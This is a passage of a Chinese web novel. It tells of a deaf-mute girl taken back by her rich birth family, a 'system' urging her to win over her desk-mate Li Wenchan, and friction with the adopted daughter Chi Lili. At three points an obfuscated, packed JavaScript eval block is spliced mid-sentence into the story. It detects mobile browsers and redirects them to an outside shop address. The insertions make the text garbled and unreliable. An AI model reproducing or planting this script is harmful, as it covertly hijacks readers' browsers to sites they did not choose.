原先她、小雪、裴景干什么都一起,现在小雪走了,裴景比她们高一级,刚升高三,下次三个人齐聚还不知道什么时候呢。 教室后面忽然传来议论声,同桌戳了戳许苹安,她慢吞吞地回过头,看清来人是谁后充满警惕。 ——原先池映雪的桌子还保留着,应家的弟弟,现在初中部三年级的应光司正在那里收拾。 池映雪的桌面上没有书架也没有收纳盒,只有用饮料罐改装的笔筒,即便如此,还是干净整齐。现在被应光司弄得乱糟糟,不像是整理,像是到处翻找尚且值点钱的东西。 有人问:“同学,你姐姐真的去那个池家了吗?” 应光司的眉眼还青涩,秀气精致,后知后觉地看过去,真的和五官圆钝柔和的池映雪很不同,唯一像的是都清瘦苍白。 十六岁的少年掏出最新款的手机,回了个消息,嘲讽道:“她可不是我姐姐。” “人往高处走。” “你有病吧应光司!”许苹安火冒三丈地站起来,周围人拦不住,她冲到池映雪的桌子前按住应光司的手。 “你什么语气,什么叫往高处走?说的和我们小雪抛弃了你们似的!” “人家只是回到了原本的家庭,我看你是嫉妒了吧?你凭什么呢?你脚上的AJ、身上的NIKE,还有手机,都是拿小雪的奖学金买的,全天下你最没资格说她!” “这还是小雪走后我在办公室里听老师私下吐槽的,她自己都不知道还有这些钱!” 教室安静下来。许苹安看向凌乱的桌面,吸了吸鼻子。 “小雪想买本教辅,你妈都说家里穷让她懂事,你看看她的桌子,只有这么点东西,能值什么钱?” “你别动了,桌子我来收拾好,给她送过去!” 应光司面上阴沉,眸中神色不断变幻。 “谁稀罕。” 他走后,教室里响起议论声。 “哑巴还真是池家的女儿啊!那池家不会为了她报复我们吧?” “怕什么,我们不就是不带她玩吗?再说她一个哑巴怎么告状?” “而且那些豪门弯弯绕绕都多得很,人家不嫌弃她就不错了!” “这才几天啊,等着瞧吧,说不定过阵子就被赶出来,灰溜溜地回这儿呢!” “难怪我听虹文的同学说,池家都没有公开假千金的身份,也没有送走……” 池映雪来到新学校的第一天,同桌的李闻蝉就睡了一天。 中午万苏瑶和秋怡带她一起吃饭,回来后,看见李闻蝉撑着脑袋抄课文,抄完接着睡。 倒让她身边回归安静起来。 身为聋哑人,池映雪虽说是跟班就读,但从小就坐在教室的后排,每节课根据老师板书或PPT的内容做笔记,其余时间安安静静地自习、写题。 对她来说,来学校最大的目的除了不脱离社交圈,还能跟着老师的教学进度,写完卷子立马去办公室找老师对答案或批阅。 幸亏池映雪很聪明,吃透课本后就能举一反三,对完答案还不理解的题寥寥无几,所以这么多年来不存在与老师难以沟通的问题。 今天是周六,没有晚自习。下午放学后,池映雪来到早上池家司机停车的位置,黑色的保姆车前已经站着池鲤鲤和几个女生。 池映雪走过去时,其中一个女生还贴近池鲤鲤的耳朵,边打量池映雪边笑着张合嘴唇。 池鲤鲤扬着下巴,得体地上前,用手机通知池映雪。 「司机要送我和朋友去XSquare新开的甜品店打卡,和家反方向,你要跟着吗?」 系统突然冒出来。 [宿主,她们刚才在说你一定没去过这种甜品店,肯定会求着去,然后出尽洋相!] [原文里就有这个剧情,池鲤鲤选的是一家云端甜品,边吃边俯瞰全城,你一上去就害怕,被几个和秦书交好的夫人看见了,纷纷说真千金果然上不了台面。] 池映雪:“能让我看看原文是怎么写的吗?” 系统:[不行。本来刚刚这段也是不能让你看的,除非你在好感度满5%后开启任务功能,完成了获得奖励才可以,到时候还可以选择解锁男主的任务小传哦!] 本来不行,那它不是不小心睡过了嘛,耽误了大半天,这才羞羞地暗戳戳给宿主补偿。 [对了宿主,你今天攻略的怎么样呀?] 池映雪弱弱:“……还行吧?” 还行?那就是起码友好了叭! 系统点开好感度界面,大大的爱心依然全灰,不对,只在最下面那个尖尖的地方有一丢丢粉。 一看数值:0.5%。 [……] [宿主,你这是一天白干了呀。] 池映雪低下眸:“可能我就是不太讨人喜欢吧……” 给系统看得虎躯一软,连忙绕着她安慰来安慰去。 [宿主千万不要气馁呀!这才刚开始,再说如果男主好攻略的话,之前也……] 它紧急刹车,同时雷达响起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635224|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [滴!检测到攻略目标李闻蝉,就在宿主斜后方。] [李闻蝉平时不和老爷子住,而是一个人住在靠近学校的高档小区内,每天坐两站地铁上下学。宿主刚好可以趁这个机会跟他一起,拉近距离。] 池映雪觉得不错。她用余光一看,李闻蝉正好走到与她平齐的位置。 于是,池映雪对池鲤鲤打字:「那你们去吧,我可以自己坐地铁回家。」 池鲤鲤眼睛瞪大,顷刻间池映雪已经背着书包匆匆离开,她握紧手机,精致的美甲抠住屏幕,不知在想什么。 池映雪紧跟在李闻蝉身后,不远不近。 他似乎绕路买了点什么,才来到地铁口。 池映雪一边下楼梯,一边抓紧时间不熟练地摆弄手机,点开浏览器搜索如何扫码乘地铁。 之前,应母给她用的是淘汰的老人机,可以玩推箱子和俄罗斯方块的那种。偶尔和许苹安、裴景出门,为了照顾她,三人都是用零钱买票。 现在池映雪身上没有现金,下了楼梯来回张望,李闻蝉也不知为何消失了。 池映雪只能先站到一边,在心里问系统:“上面说要用地铁电子卡,电子卡在哪呀……” 系统还没回答,手机忽然被从上方抽走。 “!” 池映雪下意识踮脚,伸手去够凌空而起的手机。 现在的小偷怎么这么明目张胆啊! 她忿忿昂起脸,正好和垂首的李闻蝉对视。 李闻蝉一手插在兜里,一手还稍稍抬高,举着她的新手机,手机壳上的小柿子挂坠晃来晃去。 那双黑眸望着她,傲然悠哉。 池映雪的手只抓到一团空气,心虚地降下去,眨巴眨巴眼。 不断有行人从他们身旁路过,然后提速,然后奔跑,池映雪脚下的地面传来逐渐清晰的震动,也许正是他要乘的那趟地铁。 但李闻蝉没有走。 奔流不息的地铁站,他扯着她的书包带,往更远离人群的角落去。他的脚步在寂静哄闹中那么清晰,像是默片里突然有了声音。 池映雪踩着脚步声,被他拉着穿越人流,抬头时见到白色灯光自上而下打在他脸上,照得他轮廓锋利,很有攻击性,手里还拿着她的手机。 校霸。 完全是校霸。 好凶,他还抢劫!她乖乖把手机给他,应该不会被揍吧? 李闻蝉微微眯起眼,扯开散漫而恶劣的笑。 池映雪脖子往后缩了缩。 然后看见他的唇缓缓开阖,轻慢的,做出口型,落在她耳里,是一团柑橘皮味的苦空气。 “喂,跟踪犯。” “就——这——点——胆——量——?” 5. 第 5 章 池家二房,也就是池老爷子弟弟这一脉,在十来年前搬离老宅,现在老一辈都去了,当家人是池映雪和池怀元的父亲,池润。 池润一家居住在玫瑰园别墅区,欧风建筑的墙面流荫陆离,池映雪不是第一次走入这道厚重的大门,却依旧觉得虚幻。 “映雪。” 说话的人从沙发上惊喜起身,脱口而出后才想起她不能听见,连忙朝她挥了挥手。 池映雪笑了起来,是哥哥。 她是被池怀元接回来的,对他有雏鸟般的依恋。他们长得也很像,第一次见面,池映雪以为看见了成熟的、男版的自己。 只是池怀元经过二十余年的精英教育,显然更有气度,西装革履,翩翩公子。 池怀元的眉毛很好看,疏朗而不浅淡,笑起来弯弯的,很温柔,现在却皱起来。 「怎么一个人回来?鲤鲤呢,我让她好好照顾你的。」 他打字很快,「是不是鲤鲤欺负你了?」 池映雪立马摇头。 池怀元无奈地叹气。 「你别怕,有什么话都可以和哥哥说,哥哥来帮你好吗?」 池映雪心里暖乎乎的。 她又一次想起这本小说的简介。看,小雪,池鲤鲤没有像里面说的那样,哥哥也没有,已经比预想的好太多了。 「我知道,但真的没有人欺负我,哥哥。」 「她和朋友去吃甜品了,叫了我,我不想去,就一个人先回来。」 池映雪想,如果是平常,在哥哥这样关心的眼神里,她可能真的会忍不住讲出池鲤鲤独自安排司机的行为。但今天,她本来也是要去找李闻蝉的,就别让哥哥为难了。 「真的?就一辆车,你怎么先回来?」 「我坐了地铁,我一直很想独自坐一次。」 说起来,今天多亏了李闻蝉。 她一开始还错怪他了。李闻蝉把手机还回来后,池映雪惊讶地发现乘车码已经注册好了。 他如果不那么凶,不那么吝啬的话,其实真是个不错的人。 「那就好。」 池怀元摸了摸她的头,没说信不信。 他眨眨眼,「对了,学习上有困难的话也可以来找我,我自认还是有点聪明的。」 池映雪第一次被人摸头,很温暖,让人眷恋。她借着点头低眸,藏起眼里的湿润,和哥哥一起吃过晚饭便回房写作业。 她在学校写了大半张数学试卷,还剩最后几道大题。 池映雪习惯先写一个“解”,再静静在脑海中作辅助线或演算步骤,推顺了就行云流水地落笔,直到“综上”收尾。 前面几道都很顺利,最后一题立体几何,她想了半天都没有清晰的思路,苦恼地抿起嘴。 虹文中学的教学各方面都比七中好。池映雪暑假预习了高二课本的内容,来这里后才发现刚好够跟虹文上学期末的进度。而题目的难度根本不是一个等级,以往池映雪根本不会在数学上卡壳,现在,她连辅助线都想不到。 这种学校自命题,搜题软件上也没有。 系统:[宿主要不要加一下男主的企鹅,问问他?] 它一副高深莫测的样子。 [我看你们人类总结的追求教程说,攻略一个人就要不断麻烦他,时不时问问题,这样才能让对方对你越陷越深!] [而且给宿主预告一下,加男主的社交媒体是以后的任务之一,你现在做了,等任务激活后立马可以获得奖励、解锁剧情或小传哦!] 池映雪先点开水群,滑了一下列表,几乎都没有改备注。 再点开官方的班群,这下终于找到李闻蝉。 CHAN。 头像是一只蓝色的大耳朵卡通形象,耳朵里面是粉的,嘴巴很大,像小狗又不像,池映雪总觉得在哪里见过。 池映雪点开加好友的页面,思考了一下,慢吞吞地打字填写验证消息。 “对了,你要我问他题。”她心里怀疑地问系统,“他成绩是很好么?” 不像。真不像。 [当然,他可是最无所不能的男主呀,是气运之子!] 系统对男主大人遭受宿主质疑这一行为十分不满,气鼓鼓的。 [你不信?哼,我这就把男主开学考的成绩单打印出来给你……]看。 额嗯。 还是别看了。 它撤回迟了一步,池映雪已经看见—— 「语文:99/150 数学:5/150 英语:67/150 物理:28/100 生化(赋分):100/200 班级位次:30/31 年级位次:368/374」 池映雪想到他上课睡觉的样子,倒是不意外,这才对嘛。 要是他真的什么也不学还能名列前茅,她都不想和他做朋友了。 不过…… “系统。” “他数学5分,你确定我去问他压轴大题怎么做,会拉近距离吗?” 到时候再给她好感-1,都要成负数了。 系统装死机。想不通,真的想不通! 男主角明明在原文里的商战中运筹帷幄、智多近妖的呀!难道高中生的数学比商业阴谋还难?! 这时,手机忽然震动起来,班上的学习委员章子健申请添加她为好友。 「你好同学,我是咱们五班的学委哈。虹文每学期规定学生选2门选修,你转来的比较晚,选课系统已经关闭了,要周一早上去教务处手动选。」 「我把选修课单发你一份,你看完了选两门给我说,到时候我帮你去就OK。」 选修课? 池映雪看着章子健发来的长长清单,陷入沉思。之前学校的选修很水,虹文的却有这么多,还看起来相当专业,她有些纠结,只能先回复再慢慢看。 「好呀,谢谢你,我现在就看。」 “哎哟。” 篮球馆里,章子健趁中场休息抱着手机嘿嘿笑,打字道:「客气啥,应该的。」 “哎哟什么哎哟,你是周董啊?” 胡挚贴上去,双眼瞬间瞪大,“别躲,我看到了!你在和妹妹聊天!” “章子健你小子背叛组织!” “滚啊!”章子健嫌弃地推开他,“一身汗,臭死了,还是蝉哥身上香。” “蝉哥也不会抱你好不?少转移话题,和谁聊呢?” “没谁。” 章子健为证清白,中气十足,“就刚转过来那个新同学。” “砰!” “我靠!”胡挚回过头,寻找巨响的来源。 “蝉哥,你和篮筐有仇啊?” 刚那一球不仅没进,篮筐都快被他用球砸塌了! “随便练练。” 李闻蝉站在三分线后,甩了甩手腕,语气平和,从框里取来下一个球,稳稳命中。 “大惊小怪,你们接着聊。” 章子健于是接着跟胡挚解释:“我不是学委吗,新同学没选选修课,萌姐让我提醒她,我白天忘了,刚加上说这事。” “新同学……”胡挚摸着下巴,“池,池什么来着………” “池映雪。” “哦,池映雪。” 被蝉哥一球砸晕的那个小倒霉蛋儿,他光记得这茬。 “但是现在去选课,只剩那些没人要的了吧。” “我问了,她可以随便选。” “我去,好羡慕!”胡挚感慨,“不像我,两台机子帮三个人抢,室内男篮是抢到了,结果剩下那节只能选了个中医实用手法。” 他忽然贱笑着拽过章子健的手腕,“以后哥学成了给你把脉,一把一个喜脉!” “去去去!” 章子健叹了口气:“要不我给池映雪发个消息,让她选和我一样的吧,我运气好,两门都是阅读课,秋怡也在,这样轻松还能有人照应她。” “咚!咚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635225|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、咚……” 又是篮球撞击的声音,这次刚好在章子健脚边,还不断地弹起又滚远,把他们吓了一跳。 李闻蝉转着篮球朝休息的区域走来,眼里没有任何波动。 他拿起手机,篮球也不转了,被夹在一侧,表情始终平静。 小雪。后面跟了一个雪花的emoji表情。 “小雪”申请添加你为好友。 「你好,新同桌,请多指教。」 通过。 那边秒回了。 小雪:「同桌,你选修课选了哪两门,可以让我参考一下吗?」 李闻蝉挑起眉。 「谢谢你啊。」 他又没说可以,谢什么谢。 李闻蝉手指很长,单手游刃有余地切屏到课表软件,直接把自己的那份发给她,上面除了必修,还有一节室内男篮,一节美术鉴赏。 章子健:“刚怎么了蝉哥,找我有事?” “没。” 李闻蝉重新把手机倒扣在板凳上,拍了拍手上的球,朝他勾了勾唇,“你不是说想学三分吗?来。” “啊啊啊蝉哥我爱你!” “我去,李闻蝉你厚此薄彼!” …… 李闻蝉回完消息后就不知道干嘛去了,池映雪再发新的感谢的话过去,也没有回复。 再看看现在的好感度,好吧,不回复也正常。 她还给学习委员发了消息,告诉他想选美术鉴赏和微积分分析导论,也没有收到回复。 池映雪将视线移向数学卷子。 问李闻蝉这条路是走不通了,要不去问问学委?…… 「对了,学习上有困难的话也可以来找我。」 池映雪忽然想起这句话,眼睛亮了亮。 她拿着卷子和笔,准备下楼找哥哥。 刚走到楼梯口,忽然俯瞰到一楼的走廊处,刚进门的池鲤鲤一蹦一跳地扑向池怀元,管家和提着大包小包购物袋的阿姨笑眼眯眯地注视着这一幕。 秦书亲手插的花瓶旁,暖黄色灯光照耀下,池怀元无比熟练地接住她,亲昵地摸她的头,就像刚才摸池映雪那样。 任谁看了,这都是一对关系很好的兄妹。 池怀元背对着她,池映雪看不见他的神情,却下意识匆匆回到房间。 她也无法看见听见,走廊里,池鲤鲤的笑容僵硬,而池怀元声音严肃。 “池鲤鲤,有件事你和我交代一下。” 房门紧闭,池映雪呆呆地靠着门站。 哥哥不只有一个妹妹,爸爸妈妈心里也不只一个女儿,她早就知道了。他们和池鲤鲤更亲密、更熟络、更便于沟通,她也知道。 池映雪看得出来,哥哥、妈妈、爸爸对池鲤鲤是真心疼爱,毕竟养了那么多年。如果她因为血缘被认回,而池鲤鲤被赶走甚至恶意针对,那样才叫可怕。 池映雪很珍惜现在这个“家”的氛围。就算她不是唯一的,就算池鲤鲤对她有敌意,那也比之前好多了。 可是,现在看来,还是会有那么一点失落…… 就一点,一点点而已。 她从不贪心的。 小腿发麻,池映雪缓缓地下坠,坐在光滑微凉的木地板上,捏紧卷子蜷缩身体。 房间没有开灯,黑暗中,她的世界依然寂静,习惯了的静,让人忽然有些思念几个小时前并不算愉快的声音。 突然之间,系统的电子屏亮起。 [叮!攻略对象好感+2。] 池映雪猛地抬起头。 手机屏幕紧随其后发出荧光,是李闻蝉,他发来消息。 CHAN:「哟。」 「很听劝嘛。」 李闻蝉那种清冽又恣意的语气仿佛隔着时空传入她耳畔,他引用着给她发的那份课表,也许听学委说她也选了美术鉴赏,她是这样猜测的。 下一条,模仿她申请好友时打招呼的口吻。 「请多指教,新同桌。」 6. 第 6 章 周天有晚自习,池映雪把空了最后一道题的数学卷子和几本可能会用上的教材装进书包,背在身上出了房门。 池鲤鲤今天下午和朋友出去逛街了,池映雪一个人坐车到学校。 仔细想来,池鲤鲤自从昨天回家后就对她的态度十分奇怪——奇怪的恶劣。 以前她也不待见她,但表面上并没有,只是疏远和敌视,要不是池映雪对别人的恶意感觉敏锐,还真有可能察觉不到。但今天早午饭的时候,池鲤鲤眼里对她的恶意都要溢出来了。 池映雪并不很关心对方在想什么,又发生了什么。比起没有付诸行动的恶意,她更在乎数学卷子上的压轴题。 “鲤鲤,我刚上楼的时候看见你那个新姐姐了!” 虹文资源雄厚,大多数学生家境殷实,和池家同圈层的人也不少。 池映雪虽然还没有被正式介绍,池家对外也只说找回了亲生女儿,但没有不透风的墙,许多人都知道真假女儿的事,譬如在说话的女生,“我看她拿着卷子进了办公室呢,她这种情况还去问题吗?老师怎么讲啊?”说完还咯咯的笑。 池鲤鲤原本正在整理桌面上的书架,手猛地停住,冷冷地瞥了一眼对方,粉唇轻吐讽刺:“谁知道呢。”又忍不住磨了磨牙,“装给别人看吧。” 同桌的邢芷看了正在极力隐忍的池鲤鲤一眼,连忙转过来:“你上次不是说她挺老实的吗,怎么装了?” “哼。”池鲤鲤冷笑,“是挺老实,老实到在背后添油加醋地告状,害得我被哥哥怀疑!” “周六你们都在,我明明问过她要不要一起去甜品店,她自己说不去,要坐地铁。结果我回家后哥哥刚见面就问我为什么丢下她一个人,还说我明明知道她聋哑却不照顾好,难道我是她的保姆吗?” “她要是不满意,想坐车,可以直接打字说啊!我们又不是缺这一辆车。” 邢芷附和道:“是呀,当时是她自己一声不吭跑走的,怎么这样……” “我记得你哥哥对你可好了,要是她回来前从来不会这样质问你的,肯定是那个白莲花先回来装可怜,和你哥哥说了什么,他误会了你!” “她要是什么坏话都不说,你哥哥怎么知道她一个人去挤地铁,还来为她出气?要我看,她当时一听我们要用车就跑走,就是等着回家告状,把你的宠爱抢走呢!” 池鲤鲤唇抿成一条线,双手握成拳。 “还有你哥哥,该说不愧是亲兄妹吗,就这么偏爱……” “邢芷!”池鲤鲤深呼吸,“不许说我哥哥。” 邢芷遮嘴掩住看好戏的笑意:“我也是担心你嘛。” “鲤鲤,你就是太心软了,换做我肯定早就对她下手了!”邢芷拍了拍她,“她今天给你哥哥告状,明天就能告到秦阿姨、池叔叔面前。说到底,他们才是一家人。” “用不着你一遍又一遍提醒。”池鲤鲤挺直腰背,“爸妈和哥哥都跟我说过很多次了,无论如何,我都是他们的女儿。” “但是,也不能任由她这样不管吧?我们是好朋友,我可看不下去。” “咱们班、咱们年级同圈子的人那么多,我把池映雪的绿茶行为说出去,到时候自有人……” 邢芷说着就要对一个喜欢池鲤鲤的男生招手,“宁世延——” 一支钢笔点在邢芷的课桌上。 咚,咚。声音清脆,随之响起的男声温和而疏离,像淡蓝色的,漂浮在水面上被冬日阳光照融的薄冰。 最早说话的女生在课桌下戳了戳池鲤鲤的腰,趴在她红透的耳朵边,小声调侃:“谁未婚夫终于回来了呀?” 池鲤鲤耳畔的温度立马冷却。 所谓“婚事”是大人间谈笑时指腹为婚,她从前也憧憬着实现,但现在指腹时的其中一人…… 没关系的,鲤鲤,你可是最优秀的池家千金,那个聋哑人永远都比不了。 “同学,预备铃已经响了31秒。” 沈星桥放下戴有手表的左侧手腕,将钢笔夹夹在右手的数竞书上,站在邢芷的课桌前,身形颀长,清雅温润,普普通通地站着,也如设计过无数次那样让人移不开视线。 就连说这话时低眸与人目光交汇,也是温温淡淡,一身好学生的书卷气,却有不可忽视的气场。 “请你安静。” 沈星桥的声音像给这一圈座位按下静音键,“也请你,不要说其他同学的闲话。” 晚自习放学后,池映雪来到车位前,黑色的保姆车正好扬尘而去。 透过车窗,她还看见池鲤鲤坐在后排瞪了她一眼。 上次还有用车的理由,这次呢? 池映雪摇摇头叹了口气,打开手机给哥哥如实阐明情况,那边应该在忙,没有回复。 池映雪问系统:“男主上地铁了吗?” 她刚才收拾书包的时候,看见李闻蝉已经出教室门了。 得到否定的答案,池映雪背起包就小跑着奔向地铁站。 学校旁的街道在夜晚依然灯火通明,右边是隔着铁围栏的广阔球场,左边是川流不息的车海。梧桐树叶遮住一排排白色路灯,隙光穿透繁茂,池映雪轻盈地踩过一道又一道枝干的影,越远离学校人就越少,她跑得越快。 希望赶得上,多刷点脸总是好的。 晚风拂面,过耳无声。 少女低低的马尾左右甩动,很自由。 沈星桥收回望向窗外的视线,转过头,车内前排悬挂的流苏也在来回小幅度甩。 “在看什么?”前排的沈母随口问。 “没什么,母亲。” “不要分心了。”沈母口吻正经,“趁着堵车,再多看看课本,巩固去数联而耽搁的其他科目。” “对了,池家那个才找回来的女儿已经转到你们学校了,今天秦书告诉我她在五班,你有见过吗?” 沈母语速很快,不等沈星桥回答就接着下一句,“有机会和她多见一见,据说她的名字是老爷子亲自取的,那边应该比较看重。” 等她停下来,沈星桥声音恭敬,平静温和:“好的,母亲。” 赶上了! 池映雪气喘吁吁地跑进地铁站,下楼梯时看见正清清闲闲站着等地铁的李闻蝉,才松了口气。 李闻蝉站没站相,吊儿郎当地把手揣在校裤兜里,白色校服上衣最上面的扣子还是解开的,帅得漫不经心。 池映雪慢慢踱步下台阶,看着两个穿其他学校校服的女生你拍着我我拍着你,握紧手机朝李闻蝉走去,结果还没走近,李闻蝉就转身,朝另一个等位区走去,锐气难挡,像硬质金属一样又锋利又冷。 两个女生刚鼓起的勇气消失,赶紧红着脸离开,池映雪捏紧书包肩带,给自己做着心理建设。 他是好人,是好人,是好人,他帮过你,不会像传说中那样打你的。 就打个招呼而已,别的她也不指望了…… 她慢吞吞地挪到他身后,低着头看脚尖。 手心忽然传来酥麻的震动,池映雪拿起手机,有一条新的消息。 是哥哥吗?她连忙点开企鹅。 CHAN:「我很可怕吗?」 CHAN:「池映雪,抬头。」 池映雪几乎是下意识随着这句话仰起脸,和不知何时转过身来的李闻蝉对视,眼睛里还写着惊讶。南城的地铁站大都没有空调,厚重的刘海被隧道里穿过的闷热晚风微微吹起来,露出光洁而可爱的额头。 他怎么知道她在后面? 李闻蝉像是能读懂她眼里的疑问,捏着手机点了点身后地铁站台的玻璃门,池映雪恍然大悟。 李闻蝉哼笑起来。 就在昨天,这里的楼上,他好心帮这家伙注册一卡通,需要刷脸时用手机敲了敲她这张脸,某人还鼓着腮帮子瞪他。 又不敢多瞪,那眼神真是委屈死了,真像个包子。加上那个被两只手紧握着肩带的红书包,原来是个蘑菇包子。 后来他带着她扫码通过的时候,倒是变了张脸,新奇惊讶,就和第一次坐地铁似的。看看他,又看看手机,一脸傻乐,耳边有一小撮细碎的头发和小括弧一样滑下来。 现在也是。 小括弧被风吹着,垂在池映雪白而清瘦的脸颊上。 李闻蝉插在兜里的那只手,食指轻轻向上抬了一下。他很快摇头,转身,没再看她。 [叮!攻略对象好感+0.5。] 池映雪本来还有些羞,瞬间被调理好了。她就说吧,多刷脸果然有用! 她高高兴兴地和他分别,走到对面。 他们乘坐的是两趟相反方向的地铁。 玻璃门反射出周围低着头看手机的人群,池映雪在里面看见李闻蝉的背影,忽然皱了皱鼻子。 她朝飘来难闻汗味的右侧看,一个看着老实巴交的中年男子正摸着鼻子摆弄手机。 池映雪的经验告诉他,要离这个男人远一点,看上去老实,谁知道在想些什么。她朝左迈步,见男人似乎并没注意到,这才松了口气。 脚下又一次传来震动,池映雪抬眸,眼前还是空的,应该是李闻蝉的那趟地铁进站了。 收回眼,余光却和刚才的中年男子对视。 池映雪本能的往后退了一小步。 也是这时,白色的校服混着柑橘味香气,伴随轻而快的脚步闯入她视野。 清健,强势,挡住身后令人不快的眼神,取代那难闻的气味。 池映雪赶紧回头,对面的地铁已经快关门了。 他怎么…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635226|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >屏幕亮起。CHAN:「去趟网吧,顺路咯。」 这么巧? 池映雪抬头看,可李闻蝉发完消息,只看了她一眼就淡淡转过眸。 就在此时,不知他什么神情,那个拿着手机的中年男人往后连退两步。 “这位大叔。” 李闻蝉背对着池映雪,看起来冷酷,清澈的声音却清晰传入她耳朵。 “管好你的手机。” 男人立马打了个激灵转身,划掉刚点开的相机软件,缩着头站直。池映雪平视少年挺阔的校服背影,轻轻勾唇。 一路无事。 第二天,池映雪通过晨起后秦书发来的消息,得知池鲤鲤要作为本周的学生代表在国旗下讲话。 她和秦书显然都很看重这件事。秦书说,她们要先一步吃早饭,吃完赶紧在车上做个造型,今天会有人去给池鲤鲤拍照。 小雪:「好的妈妈,我知道了。」 秦书在早餐桌上收到回复,眼神欣慰。对面正在吃最后一点水果的池鲤鲤看了她就放在桌上的屏幕一眼,试探着问:“是应……雪么?她怎么说?” “姐姐不会生气吧,毕竟因为我都没法和妈妈一起吃早饭了?” 秦书摇头:“怎么会,小雪和你一样,都是懂事的好孩子。” 池鲤鲤想起昨晚回家后,她特意等在客厅里,想要看池映雪回家后的反应。 可她只是眸色淡淡的看过来一眼,清澈,眼睛很亮,那里面什么负面的东西也没有。现在看,她昨晚居然没有告状,起码没有向秦书告状。 池鲤鲤摇头压下心里的那点慌乱,赶忙道:“我吃好了,妈妈,我们快点走吧。” 池映雪下楼的时候,隔着客厅的大落地窗就看见秦书提着池鲤鲤的书包,和她一起上车,车里还坐了一个拿着梳子和发夹的摩登女性。池怀元开车从她们身边路过,几人隔着车窗言笑晏晏。 偌大的餐桌上,池映雪一个人默默吃着早饭,黑眸沉沉。 等出门,却意外看见池怀元的车。 池映雪的眼睛一下子亮起来,赶紧跑到正开窗朝她微笑的哥哥面前。 「哥哥,我刚才看你不是走了吗?」 「走到一半,想起来你还在,就折回来了。」 池怀元下车,为她拉开车门。 「我送你,放心吧,今早公司的会我请假了。」 池映雪看到这句话就抬起头,想解开安全带。 「没事的,会议再重要,也不能让妹妹一个人啊。」 池映雪鼻头一酸,池怀元看在眼里,勾唇开车。 等池映雪默默平复好,已经临近学校,池怀元找好停车位,沉吟了一下,再次拿起手机。 「小雪,昨晚的事,我替鲤鲤向你道歉。这孩子从小被我们宠坏了,很任性,没有你懂事。」 「回头我和她好好说说,在此之前,你有什么还是像这样告诉我,好吗?」 校会结束,万苏瑶强忍着一肚子怒火,紧紧护着池映雪回班。 胡挚一扭头看见了,好奇道:“万大小姐这是怎么了?一大早就上火?” 万苏瑶刚打算开口,想到后面安安静静的池映雪,摇了摇头:“呵呵,没事!” 还不是一班那群长舌的神经病,一大早就对着小雪指指点点,还创新班呢,造谣班还差不多! 一会儿说什么白莲花、欺负池鲤鲤,一会人说什么挑拨人家兄妹感情…… 拜托,池映雪才是池家的亲女儿亲妹妹好吗?再说,池鲤鲤在演讲台前盘发全妆穿西服,看着和只骄傲的花孔雀似的,那是被欺负的样子吗! 这群人还不是看小雪听不见才敢这么叽歪! 小雪到现在都不知道这茬,她也不想让她知道这些烦心的事,只能憋着气,在心里不停怒骂。 “啧。” 教室右侧那列最末排,盖着校服外套的李闻蝉忽然伸手掀开,露出一张不耐的脸。短发凌乱,被他胡乱拨弄两下,落下的碎发挡在锋利的眉宇前,眼睛因为刚刚睡醒微眯着,更显狭长。 胡挚:“蝉哥,你终于醒了,上不上号?” “不了。”李闻蝉把外套胡乱丢在空荡荡的桌子上,揉成一团,就像被谁从被窝中吵醒一样,还有点起床气。 “昨晚网吧通宵,回家洗完澡就过来了,困死。” 旁边背单词的池映雪听见这话,嘴角很轻地抽了抽。 “胡挚。” “嗯?” “穆雨阳在他们班什么职务来着?” 还不等胡挚回答,李闻蝉就靠在墙上,细长的手指点了点桌子,随口道,“纪委,对吧?” “昂,对啊,咋了?” 预备铃响起,李闻蝉顺势起身:“没什么。” 7. 第 7 章 池映雪是周六来的,上周五英语老师留了一张报纸,昨晚收上去批阅,今天下午上课时讲。 昨天晚自习前,老师让课代表给池映雪拿了一张,让她上午去办公室交。 池映雪把完形的选项挨个代入到空里仔细检查了一遍,趁着还没上第一节课去找英语老师。 一层楼四个班,五班和一班的英语老师是同一位,Stella,是位优雅的小老太太,办公室在楼上一班的斜对面。 池映雪进门时没有看见课代表描述的人,踮起脚尖寻找。 “这什么?” 一只冷白色的手抽走她手里的报纸,池映雪闻声侧眸,听见李闻蝉自言自语,“英语报纸?厉害啊,这就写完了。” 不仅写完了,还圈得满当当的,字迹清晰,工整优美,一看就是标准的好学生。 报纸上贴了一个浅黄色的小便利贴,娟秀的字体写着:「老师好,我是五班新转来的池映雪,恳请您有空批阅,谢谢您!」 池映雪把他的感叹听得清清楚楚,不由在心里小得意了一下。 李闻蝉指着报纸,做口型:“交?” 池映雪点头。要交。 